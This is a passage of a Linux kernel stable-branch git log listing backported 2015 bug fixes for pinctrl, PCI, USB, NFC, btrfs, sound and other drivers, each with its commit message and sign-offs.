e6b7cff45654a2858ec93ed42a7351c395752850 Author: Thomas Petazzoni Date: Tue Jun 9 18:46:57 2015 +0200 pinctrl: mvebu: armada-xp: remove non-existing VDD cpu_pd functions [ Upstream commit 80b3d04feab5e69d51cb2375eb989a7165e43e3b ] The latest version of the Armada XP datasheet no longer documents the VDD cpu_pd functions, which might indicate they are not working and/or not supported. This commit ensures the pinctrl driver matches the datasheet. Signed-off-by: Thomas Petazzoni Cc: # v3.7+ Fixes: 463e270f766a ("pinctrl: mvebu: add pinctrl driver for Armada XP") Signed-off-by: Linus Walleij Signed-off-by: Sasha Levin commit f7cff363596d59b5b3a298a7b4bc7429cf598535 Author: Thomas Petazzoni Date: Tue Jun 9 18:46:56 2015 +0200 pinctrl: mvebu: armada-xp: remove non-existing NAND pins [ Upstream commit bc99357f3690c11817756adfee0ece811a3db2e7 ] After updating to a more recent version of the Armada XP datasheet, we realized that some of the pins documented as having a NAND-related functionality in fact did not have such functionality. This commit updates the pinctrl driver accordingly. Signed-off-by: Thomas Petazzoni Cc: # v3.7+ Fixes: 463e270f766a ("pinctrl: mvebu: add pinctrl driver for Armada XP") Signed-off-by: Linus Walleij Signed-off-by: Sasha Levin commit ac0c311b22070e22dd421abdbbec7d993b82f5b5 Author: Thomas Petazzoni Date: Tue Jun 9 18:46:55 2015 +0200 pinctrl: mvebu: armada-375: remove non-existing NAND re/we pins [ Upstream commit e5447d26092c72ef3346615ee558c9112ef8063f ] After updating to a more recent version of the Armada 375, we realized that some of the pins documented as having a NAND-related functionality in fact did not have such functionality. This commit updates the pinctrl driver accordingly. Signed-off-by: Thomas Petazzoni Cc: # v3.15+ Fixes: ce3ed59dcddd ("pinctrl: mvebu: add pin-muxing driver for the Marvell Armada 375") Signed-off-by: Linus Walleij Signed-off-by: Sasha Levin commit e0855c589bf05249c4d5493ceb8a34c4e2463932 Author: Thomas Petazzoni Date: Tue Jun 9 18:46:54 2015 +0200 pinctrl: mvebu: armada-370: fix spi0 pin description [ Upstream commit 438881dfddb9107ef0eb30b49368e91e092f0b3e ] Due to a mistake, the CS0 and CS1 SPI0 functions were incorrectly named "spi0-1" instead of just "spi0". This commit fixes that. This DT binding change does not affect any of the in-tree users. Signed-off-by: Thomas Petazzoni Cc: # v3.7+ Fixes: 5f597bb2be57 ("pinctrl: mvebu: add pinctrl driver for Armada 370") Signed-off-by: Linus Walleij Signed-off-by: Sasha Levin commit d9c5ec5e9ad005262aa73f352d7624fdb9c4a84d Author: Thomas Petazzoni Date: Tue Jun 9 18:46:53 2015 +0200 pinctrl: mvebu: armada-38x: fix PCIe functions [ Upstream commit 331642fbf24a1c16b2669ca0a6479b5fcd6dd5b2 ] A new revision of the Marvell Armada 38x hardware datasheet unveiled that the definition of some of the PCIe functions were not correct. This commit fixes the pinctrl driver accordingly. Some PCIe functions simply do not exist, some of the PCIe functions in fact were corresponding to other functions, and some PCIe functions have been added. Note: the seemingly unrelated removal of spi(cs2) on MPP47 is related: this function is in fact implemented on MPP43, instead of a PCIe function. Signed-off-by: Thomas Petazzoni Cc: # v3.15+ Fixes: ca6d9a084b56f ("pinctrl: mvebu: add pin-muxing driver for the Marvell Armada 380/385") Signed-off-by: Linus Walleij Signed-off-by: Sasha Levin commit 82246668e49b5ff91b3b67e52a3948ce28432dd1 Author: Bjorn Helgaas Date: Tue Jun 9 18:54:07 2015 -0500 x86/PCI: Use host bridge _CRS info on Foxconn K8M890-8237A [ Upstream commit 1dace0116d0b05c967d94644fc4dfe96be2ecd3d ] The Foxconn K8M890-8237A has two PCI host bridges, and we can't assign resources correctly without the information from _CRS that tells us which address ranges are claimed by which bridge. In the bugs mentioned below, we incorrectly assign a sound card address (this example is from 1033299): bus: 00 index 2 [mem 0x80000000-0xfcffffffff] ACPI: PCI Root Bridge [PCI0] (domain 0000 [bus 00-7f]) pci_root PNP0A08:00: host bridge window [mem 0x80000000-0xbfefffff] (ignored) pci_root PNP0A08:00: host bridge window [mem 0xc0000000-0xdfffffff] (ignored) pci_root PNP0A08:00: host bridge window [mem 0xf0000000-0xfebfffff] (ignored) ACPI: PCI Root Bridge [PCI1] (domain 0000 [bus 80-ff]) pci_root PNP0A08:01: host bridge window [mem 0xbff00000-0xbfffffff] (ignored) pci 0000:80:01.0: [1106:3288] type 0 class 0x000403 pci 0000:80:01.0: reg 10: [mem 0xbfffc000-0xbfffffff 64bit] pci 0000:80:01.0: address space collision: [mem 0xbfffc000-0xbfffffff 64bit] conflicts with PCI Bus #00 [mem 0x80000000-0xfcffffffff] pci 0000:80:01.0: BAR 0: assigned [mem 0xfd00000000-0xfd00003fff 64bit] BUG: unable to handle kernel paging request at ffffc90000378000 IP: [] azx_create+0x37c/0x822 [snd_hda_intel] We assigned 0xfd_0000_0000, but that is not in any of the host bridge windows, and the sound card doesn't work. Turn on pci=use_crs automatically for this system. Link: https://bugs.launchpad.net/ubuntu/+source/alsa-driver/+bug/931368 Link: https://bugs.launchpad.net/ubuntu/+source/alsa-driver/+bug/1033299 Signed-off-by: Bjorn Helgaas CC: stable@vger.kernel.org Signed-off-by: Sasha Levin commit 45a66d0b9e686d1e3d0c36ab8fd69fe589303d2f Author: Rafael J. Wysocki Date: Wed Jun 10 01:32:38 2015 +0200 ACPI / PM: Add missing pm_generic_complete() invocation [ Upstream commit 3d56402d3fa8d10749eeb36293dd1992bd5ad0c3 ] Add missing invocation of pm_generic_complete() to acpi_subsys_complete() to allow ->complete callbacks provided by the drivers of devices using the ACPI PM domain to be executed during system resume. Fixes: f25c0ae2b4c4 (ACPI / PM: Avoid resuming devices in ACPI PM domain during system suspend) Cc: 3.16+ # 3.16+ Signed-off-by: Rafael J. Wysocki Signed-off-by: Sasha Levin commit 41a2fe6bbea1d240abfd436a515457b9f293360d Author: Stefan Wahren Date: Tue Jun 9 20:09:42 2015 +0000 regulator: core: fix constraints output buffer [ Upstream commit a7068e3932eee8268c4ce4e080a338ee7b8a27bf ] The buffer for condtraints debug isn't big enough to hold the output in all cases. So fix this issue by increasing the buffer. Signed-off-by: Stefan Wahren Signed-off-by: Mark Brown Cc: Signed-off-by: Sasha Levin commit bea3f1985a87c5d61a7557414a62d30f50080329 Author: Alex Williamson Date: Mon Jun 8 17:10:50 2015 -0600 PCI: pciehp: Wait for hotplug command completion where necessary [ Upstream commit a5dd4b4b0570b3bf880d563969b245dfbd170c1e ] The commit referenced below deferred waiting for command completion until the start of the next command, allowing hardware to do the latching asynchronously. Unfortunately, being ready to accept a new command is the only indication we have that the previous command is completed. In cases where we need that state change to be enabled, we must still wait for completion. For instance, pciehp_reset_slot() attempts to disable anything that might generate a surprise hotplug on slots that support presence detection. If we don't wait for those settings to latch before the secondary bus reset, we negate any value in attempting to prevent the spurious hotplug. Create a base function with optional wait and helper functions so that pcie_write_cmd() turns back into the "safe" interface which waits before and after issuing a command and add pcie_write_cmd_nowait(), which eliminates the trailing wait for asynchronous completion. The following functions are returned to their previous behavior: pciehp_power_on_slot pciehp_power_off_slot pcie_disable_notification pciehp_reset_slot The rationale is that pciehp_power_on_slot() enables the link and therefore relies on completion of power-on. pciehp_power_off_slot() and pcie_disable_notification() need a wait because data structures may be freed after these calls and continued signaling from the device would be unexpected. And, of course, pciehp_reset_slot() needs to wait for the scenario outlined above. Fixes: 3461a068661c ("PCI: pciehp: Wait for hotplug command completion lazily") Signed-off-by: Alex Williamson Signed-off-by: Bjorn Helgaas CC: stable@vger.kernel.org # v3.17+ Signed-off-by: Sasha Levin commit 070b6c2af543b1ef5b118ad4ad03f89c2ce15e0b Author: Christophe Ricard Date: Sat Jun 6 13:16:44 2015 +0200 NFC: st21nfcb: remove st21nfcb_nci_i2c_disable [ Upstream commit 4ac82e894825126816d7b7f662743335ce2b015e ] ndlc_remove already calls st21nfcb_nci_i2c_disable and phy->powered is already set to 0. Cc: stable@vger.kernel.org Signed-off-by: Christophe Ricard Signed-off-by: Samuel Ortiz Signed-off-by: Sasha Levin commit 9a7a8972b6e12a0dcea8fba94d8bcc636f6b7a5d Author: Christophe Ricard Date: Sat Jun 6 13:16:43 2015 +0200 NFC: st21nfcb: Do not remove header once the payload is sent [ Upstream commit 09f39a950523b1bb830c30a8670b77e0067da092 ] Once the data is sent, we need to preserve the full frame for the ndlc state machine. If the NDLC ACK is not received in time, the ndlc layer will resend the same frame. Having the header byte pulled will corrupt the frame. Cc: stable@vger.kernel.org Signed-off-by: Christophe Ricard Signed-off-by: Samuel Ortiz Signed-off-by: Sasha Levin commit a119af5a95c10e72ee9b5b2e3cb7f1ea5094aed2 Author: Firo Yang Date: Sat Jun 6 13:16:42 2015 +0200 NFC: st21nfcb: Remove inappropriate kfree on a devm_kzalloc pointer [ Upstream commit 38bd83f04c5e9695011dc5c294e0c4e6a9f9052d ] Since ndev->driver_data is allocated by devm_kzalloc(), we do not need the inappropriate kfree to free it in driver's remove function. Freeing will trigger when driver unloads. Cc: stable@vger.kernel.org Acked-by: Christophe Ricard Signed-off-by: Firo Yang Signed-off-by: Samuel Ortiz Signed-off-by: Sasha Levin commit 27a0cc563105b7346c91520d36aabf721e50878d Author: Felix Fietkau Date: Tue Jun 2 10:38:32 2015 +0200 ath9k: fix DMA stop sequence for AR9003+ [ Upstream commit 300f77c08ded96d33f492aaa02549103852f0c12 ] AR93xx and newer needs to stop rx before tx to avoid getting the DMA engine or MAC into a stuck state. This should reduce/fix the occurence of "Failed to stop Tx DMA" logspam. Cc: stable@vger.kernel.org Signed-off-by: Felix Fietkau Signed-off-by: Kalle Valo Signed-off-by: Sasha Levin commit d841d6d3972b7832ae65e0507c5fc9bc894488d8 Author: Marcel Holtmann Date: Sun Jun 7 09:42:19 2015 +0200 Bluetooth: btusb: Fix memory leak in Intel setup routine [ Upstream commit ecffc80478cdce122f0ecb6a4e4f909132dd5c47 ] The SKB returned from the Intel specific version information command is missing a kfree_skb. Signed-off-by: Marcel Holtmann Signed-off-by: Johan Hedberg Cc: stable@vger.kernel.org Signed-off-by: Sasha Levin commit 0879d31bac62f999aad65358e174a62d43694dd8 Author: Frediano Ziglio Date: Wed Jun 3 12:09:10 2015 +0100 drm/qxl: Do not leak memory if qxl_release_list_add fails [ Upstream commit 8451cc964c1d193b989c41a44e5e77109cc696f8 ] If the function fails reference counter to the object is not decremented causing leaks. This is hard to spot as it happens only on very low memory situations. Signed-off-by: Frediano Ziglio Cc: stable@vger.kernel.org Reviewed-by: Dave Airlie Signed-off-by: Dave Airlie Signed-off-by: Sasha Levin commit d3808ea819469b6ab6f04cb198d60910646a4893 Author: Frediano Ziglio Date: Wed Jun 3 12:09:09 2015 +0100 drm/qxl: Do not cause spice-server to clean our objects [ Upstream commit 2fa19535ca6abcbfd1ccc9ef694db52f49f77747 ] If objects are moved back from system memory to VRAM (and spice id created again) memory is already initialized so we need to set flag to not clear memory. If you don't do it after a while using desktop many images turns to black or transparents. Signed-off-by: Frediano Ziglio Cc: stable@vger.kernel.org Reviewed-by: Dave Airlie Signed-off-by: Dave Airlie Signed-off-by: Sasha Levin commit 7fc2eaae419cbf204c00dcbd36bd514d88c094a7 Author: Peter Ujfalusi Date: Thu Jun 4 16:04:15 2015 +0300 ASoC: tas2552: Fix kernel crash caused by wrong kcontrol entry [ Upstream commit 1cf0f44811b754b64283b11ef0e60cb0de07b29c ] SOC_DAPM_SINGLE("Playback AMP", ..) should not be under kcontrols. It causes kernel crash (NULL pointer) when the mixers are listed. Signed-off-by: Peter Ujfalusi Signed-off-by: Mark Brown Cc: stable@vger.kernel.org Signed-off-by: Sasha Levin commit 9f62d78bb265b3c927c0d75c43c22932d05ac3c4 Author: Peter Ujfalusi Date: Thu Jun 4 16:04:14 2015 +0300 ASoC: tas2552: Fix kernel crash when the codec is loaded but not part of a card [ Upstream commit 80ba2669ec8c3e6517aa935001f6cb8809bf3df4 ] If the card is not part of any card the tas_data->codec is NULL since it is set only during snd_soc_codec_driver.probe, which is not yet called. Signed-off-by: Peter Ujfalusi Signed-off-by: Mark Brown Cc: stable@vger.kernel.org Signed-off-by: Sasha Levin commit b1b163a4672a37b17986ed2537a78e7e90239360 Author: Ludovic Desroches Date: Thu May 28 11:55:16 2015 +0200 ARM: at91/dt: sama5d4ek: mci0 uses slot 0 [ Upstream commit ea25525ce0d195724fead07fe6562fe478a3bf6f ] Mci0 uses slot 0 not 1. Signed-off-by: Ludovic Desroches Fixes: 7a4752677c44 ("ARM: at91: dt: add device tree file for SAMA5D4ek board") Cc: stable@vger.kernel.org Signed-off-by: Nicolas Ferre Signed-off-by: Sasha Levin commit 21e9743e921c58e58ac6761d4a508975ea2eb38c Author: Omar Sandoval Date: Tue Jun 2 17:31:00 2015 -0700 Btrfs: don't invalidate root dentry when subvolume deletion fails [ Upstream commit 64ad6c488975d7516230cf7849190a991fd615ae ] Since commit bafc9b754f75 ("vfs: More precise tests in d_invalidate"), mounted subvolumes can be deleted because d_invalidate() won't fail. However, we run into problems when we attempt to delete the default subvolume while it is mounted as the root filesystem: # btrfs subvol list / ID 257 gen 306 top level 5 path rootvol ID 267 gen 334 top level 5 path snap1 # btrfs subvol get-default / ID 267 gen 334 top level 5 path snap1 # btrfs inspect-internal rootid / 267 # mount -o subvol=/ /dev/vda1 /mnt # btrfs subvol del /mnt/snap1 Delete subvolume (no-commit): '/mnt/snap1' ERROR: cannot delete '/mnt/snap1' - Operation not permitted # findmnt / findmnt: can't read /proc/mounts: No such file or directory # ls /proc # Markus reported that this same scenario simply led to a kernel oops. This happens because in btrfs_ioctl_snap_destroy(), we call d_invalidate() before we check may_destroy_subvol(), which means that we detach the submounts and drop the dentry before erroring out. Instead, we should only invalidate the dentry once the deletion has succeeded. Additionally, the shrink_dcache_sb() isn't necessary; d_invalidate() will prune the dcache for the deleted subvolume. Cc: Fixes: bafc9b754f75 ("vfs: More precise tests in d_invalidate") Reported-by: Markus Schauler Signed-off-by: Omar Sandoval Signed-off-by: Chris Mason Signed-off-by: Sasha Levin commit b464bbf78fd0cfa055bd7c09cb4d145f866e7d33 Author: Brian King Date: Wed May 13 08:50:27 2015 -0500 ipr: Increase default adapter init stage change timeout [ Upstream commit 45c44b5ff9caa743ed9c2bfd44307c536c9caf1e ] Increase the default init stage change timeout from 15 seconds to 30 seconds. This resolves issues we have seen with some adapters not transitioning to the first init stage within 15 seconds, which results in adapter initialization failures. Cc: Signed-off-by: Brian King Signed-off-by: James Bottomley Signed-off-by: Sasha Levin commit 30548c7e5eb7e1e65016f3540f8eb0aa5ac235dd Author: Trond Myklebust Date: Mon Jun 1 15:10:25 2015 -0400 SUNRPC: Fix a memory leak in the backchannel code [ Upstream commit 88de6af24f2b48b06c514d3c3d0a8f22fafe30bd ] req->rq_private_buf isn't initialised when xprt_setup_backchannel calls xprt_free_allocation. Fixes: fb7a0b9addbdb ("nfs41: New backchannel helper routines") Cc: stable@vger.kernel.org Signed-off-by: Trond Myklebust Signed-off-by: Sasha Levin commit d5057382fde844979b3c8b5786232a66522c6dd9 Author: Aaron Lu Date: Thu May 28 10:58:49 2015 +0800 gpio: crystalcove: set IRQCHIP_SKIP_SET_WAKE for the irqchip [ Upstream commit 61e749d7e1627d375156553ea0ae83c4f6bb5a9b ] The CrystalCove GPIO irqchip doesn't have irq_set_wake callback defined so we should set IRQCHIP_SKIP_SET_WAKE for it or it would cause an irq desc's wake_depth unbalanced warning during system resume phase from the gpio_keys driver, which is the driver for the power button of the ASUS T100 laptop. Signed-off-by: Aaron Lu Cc: Signed-off-by: Linus Walleij Signed-off-by: Sasha Levin commit 404e5e8a324ec1443d0567cbb4d0d594f6ca8761 Author: Anton Blanchard Date: Tue May 26 15:10:24 2015 +1000 powerpc/perf: Fix book3s kernel to userspace backtraces [ Upstream commit 72e349f1124a114435e599479c9b8d14bfd1ebcd ] When we take a PMU exception or a software event we call perf_read_regs(). This overloads regs->result with a boolean that describes if we should use the sampled instruction address register (SIAR) or the regs. If the exception is in kernel, we start with the kernel regs and backtrace through the kernel stack. At this point we switch to the userspace regs and backtrace the user stack with perf_callchain_user(). Unfortunately these regs have not got the perf_read_regs() treatment, so regs->result could be anything. If it is non zero, perf_instruction_pointer() decides to use the SIAR, and we get issues like this: 0.11% qemu-system-ppc [kernel.kallsyms] [k] _raw_spin_lock_irqsave | ---_raw_spin_lock_irqsave | |--52.35%-- 0 | | | |--46.39%-- __hrtimer_start_range_ns | | kvmppc_run_core | | kvmppc_vcpu_run_hv | | kvmppc_vcpu_run | | kvm_arch_vcpu_ioctl_run | | kvm_vcpu_ioctl | | do_vfs_ioctl | | sys_ioctl | | system_call | | | | | |--67.08%-- _raw_spin_lock_irqsave <--- hi mum | | | | | | | --100.00%-- 0x7e714 | | | 0x7e714 Notice the bogus _raw_spin_irqsave when we transition from kernel (system_call) to userspace (0x7e714). We inserted what was in the SIAR. Add a check in regs_use_siar() to check that the regs in question are from a PMU exception. With this fix the backtrace makes sense: 0.47% qemu-system-ppc [kernel.vmlinux] [k] _raw_spin_lock_irqsave | ---_raw_spin_lock_irqsave | |--53.83%-- 0 | | | |--44.73%-- hrtimer_try_to_cancel | | kvmppc_start_thread | | kvmppc_run_core | | kvmppc_vcpu_run_hv | | kvmppc_vcpu_run | | kvm_arch_vcpu_ioctl_run | | kvm_vcpu_ioctl | | do_vfs_ioctl | | sys_ioctl | | system_call | | __ioctl | | 0x7e714 | | 0x7e714 Cc: stable@vger.kernel.org Signed-off-by: Anton Blanchard Signed-off-by: Michael Ellerman Signed-off-by: Sasha Levin commit f9adc80ae5235768c00508bfe52b2c81475604d4 Author: Dmitry Tunin Date: Sun Jan 18 15:44:40 2015 +0300 ideapad_laptop: Lenovo G50-30 fix rfkill reports wireless blocked [ Upstream commit 4fa9dabcffc8e16601307d3d56b58c68d9716ba4 ] Lenovo G30-50 does not have a hardware wireless switch and wireless is always blocked. BugLink: https://bugs.launchpad.net/bugs/1397021 Signed-off-by: Dmitry Tunin Cc: stable@vger.kernel.org Signed-off-by: Philippe Coval [dvhart@linux.intel.com: Reordered dmi id per Phillippe's later version] Signed-off-by: Darren Hart Signed-off-by: Sasha Levin commit 7c35396e519ae5cd027c4c73ee4a792ffda49c2a Author: Olga Kornievskaia Date: Fri May 15 11:45:31 2015 -0400 fixing infinite OPEN loop in 4.0 stateid recovery [ Upstream commit e8d975e73e5fa05f983fbf2723120edcf68e0b38 ] Problem: When an operation like WRITE receives a BAD_STATEID, even though recovery code clears the RECLAIM_NOGRACE recovery flag before recovering the open state, because of clearing delegation state for the associated inode, nfs_inode_find_state_and_recover() gets called and it makes the same state with RECLAIM_NOGRACE flag again. As a results, when we restart looking over the open states, we end up in the infinite loop instead of breaking out in the next test of state flags. Solution: unset the RECLAIM_NOGRACE set because of calling of nfs_inode_find_state_and_recover() after returning from calling recover_open() function. Signed-off-by: Olga Kornievskaia Cc: stable@vger.kernel.org Signed-off-by: Trond Myklebust Signed-off-by: Sasha Levin commit 05e308140f6b33f08033e079e7c168ebadde588b Author: Malcolm Priestley Date: Sun May 31 10:35:28 2015 +0100 staging: vt6655: device_rx_srv check sk_buff is NULL [ Upstream commit b5eeed8cb6097c8ea660b6598d36fdbb94065a22 ] There is a small chance that pRD->pRDInfo->skb could go NULL while the interrupt is processing. Put NULL check on loop to break out. Signed-off-by: Malcolm Priestley Cc: Signed-off-by: Greg Kroah-Hartman Signed-off-by: Sasha Levin commit d83de3f9798fe8349fbcb61a7a5ea34f2cd80cba Author: Robert Schlabbach Date: Tue May 26 00:27:30 2015 +0200 usb: core: Fix USB 3.0 devices lost in NOTATTACHED state after a hub port reset [ Upstream commit fb6d1f7df5d25299fd7b3e84b72b8851d3634764 ] Fix USB 3.0 devices lost in NOTATTACHED state after a hub port reset. Dissolve the function hub_port_finish_reset() completely and divide the actions to be taken into those which need to be done after each reset attempt and those which need to be done after the full procedure is complete, and place them in the appropriate places in hub_port_reset(). Also, remove an unneeded forward declaration of hub_port_reset(). Verbose Problem Description: USB 3.0 devices may be "lost for good" during a hub port reset. This makes Linux unable to boot from USB 3.0 devices in certain constellations of host controllers and devices, because the USB device is lost during initialization, preventing the rootfs from being mounted. The underlying problem is that in the affected constellations, during the processing inside hub_port_reset(), the hub link state goes from 0 to SS.inactive after the initial reset, and back to 0 again only after the following "warm" reset. However, hub_port_finish_reset() is called after each reset attempt and sets the state the connected USB device based on the "preliminary" status of the hot reset to USB_STATE_NOTATTACHED due to SS.inactive, yet when the following warm reset is complete and hub_port_finish_reset() is called again, its call to set the device to USB_STATE_DEFAULT is blocked by usb_set_device_state() which does not allow taking USB devices out of USB_STATE_NOTATTACHED state. Thanks to Alan Stern for guiding me to the proper solution and how to submit it. Link: http://lkml.kernel.org/r/trinity-25981484-72a9-4d46-bf17-9c1cf9301a31-1432073240136%20()%203capp-gmx-bs27 Signed-off-by: Robert Schlabbach Cc: stable Acked-by: Alan Stern Signed-off-by: Greg Kroah-Hartman Signed-off-by: Sasha Levin commit 9426ab85a53effe8a54a1e1f197e408fdaf22a4a Author: Haggai Eran Date: Sat May 23 23:13:51 2015 +0300 staging: rtl8712: prevent buffer overrun in recvbuf2recvframe [ Upstream commit cab462140f8a183e3cca0b51c8b59ef715cb6148 ] With an RTL8191SU USB adaptor, sometimes the hints for a fragmented packet are set, but the packet length is too large. Allocate enough space to prevent memory corruption and a resulting kernel panic [1]. [1] http://www.spinics.net/lists/linux-wireless/msg136546.html Cc: Signed-off-by: Haggai Eran ACKed-by: Larry Finger Signed-off-by: Greg Kroah-Hartman Signed-off-by: Sasha Levin commit 15720e560836d937e58f00316712ce3fb10c3e22 Author: Felipe Balbi Date: Fri May 29 10:06:38 2015 -0500 usb: dwc3: gadget: don't clear EP_BUSY too early [ Upstream commit e18b7975c885bc3a938b9a76daf32957ea0235fa ] In case of non-Isochronous transfers, we don't want to clear DWC3_EP_BUSY flag until XferComplete event. That's because XferInProgress was only enabled so we can recycle TRBs and usb_requests quicker, but there are still other pending requests being transferred. In order to make sure we don't allow for another StartTransfer command while the HW is still processing other transfers, we must keep DWC3_EP_BUSY flag set and this what this patch does. Fixes: f3af36511e60 (usb: dwc3: gadget: always enable IOC on bulk/interrupt transfers) Cc: # v3.15+ Reported-by: sundeep subbaraya Tested-by: sundeep subbaraya Signed-off-by: Felipe Balbi Signed-off-by: Sasha Levin commit a927cb7a7c9153cc8f256bc53000b21dadded220 Author: Richard Fitzgerald Date: Thu May 28 14:28:12 2015 +0100 ASoC: arizona: Fix noise generator gain TLV [ Upstream commit 15575ed544910464715df5c45a44b9732e415b93 ] The Arizona codec drivers had an incorrect dB scaling for the noise generator gain that started at 0dB and went upwards. Actually the highest setting is 0dB. Signed-off-by: Richard Fitzgerald Signed-off-by: Mark Brown Cc: stable@vger.kernel.org Signed-off-by: Sasha Levin commit adb2a13eedb4266670f15a6ff207ccc8c789eb0a Author: Paul E. McKenney Date: Mon May 11 11:13:05 2015 -0700 rcu: Correctly handle non-empty Tiny RCU callback list with none ready [ Upstream commit 6e91f8cb138625be96070b778d9ba71ce520ea7e ] If, at the time __rcu_process_callbacks() is invoked, there are callbacks in Tiny RCU's callback list, but none of them are ready to be invoked, the current list-management code will knit the non-ready callbacks out of the list. This can result in hangs and possibly worse. This commit therefore inserts a check for there being no callbacks that can be invoked immediately. This bug is unlikely to occur -- you have to get a new callback between the time rcu_sched_qs() or rcu_bh_qs() was called, but before we get to __rcu_process_callbacks(). It was detected by the addition of RCU-bh testing to rcutorture, which in turn was instigated by Iftekhar Ahmed's mutation testing. Although this bug was made much more likely by 915e8a4fe45e (rcu: Remove fastpath from __rcu_process_callbacks()), this did not cause the bug, but rather made it much more probable. That said, it takes more than 40 hours of rcutorture testing, on average, for this bug to appear, so this fix cannot be considered an emergency. Signed-off-by: Paul E. McKenney Cc: Reviewed-by: Josh Triplett Signed-off-by: Sasha Levin commit 561ba0fe777ef0d67aea2c83b1be7174c46f625c Author: Subbaraya Sundeep Bhatta Date: Thu May 21 15:46:48 2015 +0530 usb: dwc3: gadget: return error if command sent to DEPCMD register fails [ Upstream commit 76e838c9f7765f9a6205b4d558d75a66104bc60d ] We need to return error to caller if command is not sent to controller succesfully. Signed-off-by: Subbaraya Sundeep Bhatta Fixes: 72246da40f37 (usb: Introduce DesignWare USB3 DRD Driver) Cc: Signed-off-by: Felipe Balbi Signed-off-by: Sasha Levin commit 9b79e91331c78335f75c1c241b91399424c325c2 Author: Subbaraya Sundeep Bhatta Date: Thu May 21 15:46:47 2015 +0530 usb: dwc3: gadget: return error if command sent to DGCMD register fails [ Upstream commit 891b1dc022955d36cf4c0f42d383226a930db7ed ] We need to return error to caller if command is not sent to controller succesfully. Signed-off-by: Subbaraya Sundeep Bhatta Fixes: b09bb64239c8 (usb: dwc3: gadget: implement Global Command support) Cc: #v3.5+ Signed-off-by: Felipe Balbi Signed-off-by: Sasha Levin commit c966a8dd2a86324785b8a92377c6cc3fe24da33a Author: Alex Deucher Date: Fri May 15 11:48:52 2015 -0400 drm/radeon: take the mode_config mutex when dealing with hpds (v2) [ Upstream commit 39fa10f7e21574a70cecf1fed0f9b36535aa68a0 ] Since we are messing with state in the worker. v2: drop the changes in the mst worker Signed-off-by: Alex Deucher Cc: stable@vger.kernel.org Signed-off-by: Sasha Levin commit 37469346a544addd00a3a0d18bfd16ea0e865519 Author: Vincent Fann Date: Fri May 15 21:29:27 2015 -0500 rtlwifi: Remove the clear interrupt routine from all drivers [ Upstream commit 1277fa2ab2f9a624a4b0177119ca13b5fd65edd0 ] Several of these drivers have there TX randomly blocked for 3~5 seconds while measuring tx throughput (iperf). The root couse happens in rtl_pci_flush(). The function uses a while-loop to wait for TX queue length to decrease to 0. The TX queue length counts the number of packets that are queued in the driver. The driver relys on the TX OK interrupt to return skb and reduce TX queue length. The interrupt subroutine disables interupts, reads the interrupt registers, and then clears the registers in the beginning of _rtl_pci_interrupt(). After all interupts process are finished, the driver invokes enable_interrupt() to enable interupts. This behavior is normal for an interrupt subroutine. But enable_interrupt() invokes clear_interrupt() again. This unexpected interrupt clearing may cleari me fresh TX OK interrupts. These missing interrupts cause TX queue length to never reduce to 0i, which causes rtl_pci_flush() to be stuck in unterminated while-loop. This patch removes clear_interrupt() in enable_interrupt() to avoid this behavior. Signed-off-by: Vincent Fann Signed-off-by: Shao Fu Signed-off-by: Larry Finger Cc: Stable [3.18+] Signed-off-by: Kalle Valo Signed-off-by: Sasha Levin commit 2e4e4d17a62b3a06e87e0ca4383c70e14ebbbcdd Author: Gregory CLEMENT Date: Tue May 26 11:44:42 2015 +0200 spi: orion: Fix maximum baud rates for Armada 370/XP [ Upstream commit ce2f6ea1cbd41d78224f703af980a6ceeb0eb56a ] The commit df59fa7f4bca "spi: orion: support armada extended baud rates" was too optimistic for the maximum baud rate that the Armada SoCs can support. According to the hardware datasheet the maximum frequency supported by the Armada 370 SoC is tclk/4. But for the Armada XP, Armada 38x and Armada 39x SoCs the limitation is 50MHz and for the Armada 375 it is tclk/15. Currently the armada-370-spi compatible is only used by the Armada 370 and the Armada XP device tree. On Armada 370, tclk cannot be higher than 200MHz. In order to be able to handle both SoCs, we can take the minimum of 50MHz and tclk/4. A proper solution is adding a compatible string for each SoC, but it can't be done as a fix for compatibility reason (we can't modify device tree that have been already released) and it will be part of a separate patch. Fixes: df59fa7f4bca (spi: orion: support armada extended baud rates) Reported-by: Kostya Porotchkin Signed-off-by: Gregory CLEMENT Signed-off-by: Mark Brown Cc: Signed-off-by: Sasha Levin commit d1e78f3cdb81d9eab27247d234242c09a859114b Author: David Fries Date: Fri May 8 19:51:50 2015 -0500 w1_therm reference count family data [ Upstream commit f7134eea05b2fb4a2c0935f8a540539fff01f3eb ] A temperature conversion can take 750 ms and when possible the w1_therm slave driver drops the bus_mutex to allow other bus operations, but that includes operations such as a periodic slave search, which can remove this slave when it is no longer detected. If that happens the sl->family_data will be freed and set to NULL causing w1_slave_show to crash when it wakes up. Signed-off-by: David Fries Reported-By: Thorsten Bschorr Tested-by: Thorsten Bschorr Acked-by: Evgeniy Polyakov Cc: stable Signed-off-by: Greg Kroah-Hartman Signed-off-by: Sasha Levin commit 4b36d918f7e8dbabb4c96db4936ebb10a5d13ac3 Author: Tomas Winkler Date: Tue Apr 14 10:27:26 2015 +0300 mei: txe: reduce suspend/resume time [ Upstream commit fe292283c23329218e384bffc6cb4bfa3fd92277 ] HW has to be in known state before the initialisation sequence is started. The polling step for settling aliveness was set to 200ms while in practise this can be done in up to 30msecs. Cc: #3.18+ Signed-off-by: Tomas Winkler Signed-off-by: Barak Yoresh Signed-off-by: Greg Kroah-Hartman Signed-off-by: Sasha Levin commit 2ee2391a5317f2425f935acf0ab5a53e31ac9014 Author: Rafael J. Wysocki Date: Mon Apr 13 16:23:36 2015 +0200 PCI: Propagate the "ignore hotplug" setting to parent [ Upstream commit 0824965140fff1bf640a987dc790d1594a8e0699 ] Refine the mechanism introduced by commit f244d8b623da ("ACPIPHP / radeon / nouveau: Fix VGA switcheroo problem related to hotplug") to propagate the ignore_hotplug setting of the device to its parent bridge in case hotplug notifications related to the graphics adapter switching are given for the bridge rather than for the device itself (they need to be ignored in both cases). Link: https://bugzilla.kernel.org/show_bug.cgi?id=61891 Link: https://bugs.freedesktop.org/show_bug.cgi?id=88927 Fixes: b440bde74f04 ("PCI: Add pci_ignore_hotplug() to ignore hotplug events for a device") Reported-and-tested-by: tiagdtd-lava Signed-off-by: Rafael J. Wysocki Signed-off-by: Bjorn Helgaas CC: stable@vger.kernel.org # v3.17+ Signed-off-by: Sasha Levin commit 652b1cd11c8ffc0a49a4ee810b00b5f002dac843 Author: Christoffer Dall Date: Wed May 13 22:01:07 2015 +0200 stable: Update documentation to clarify preferred procedure [ Upstream commit bde1b29420d71a17d87332db8e20229f251d6c14 ] Clearly specify that "Cc: stable@vger.kernel.org" is 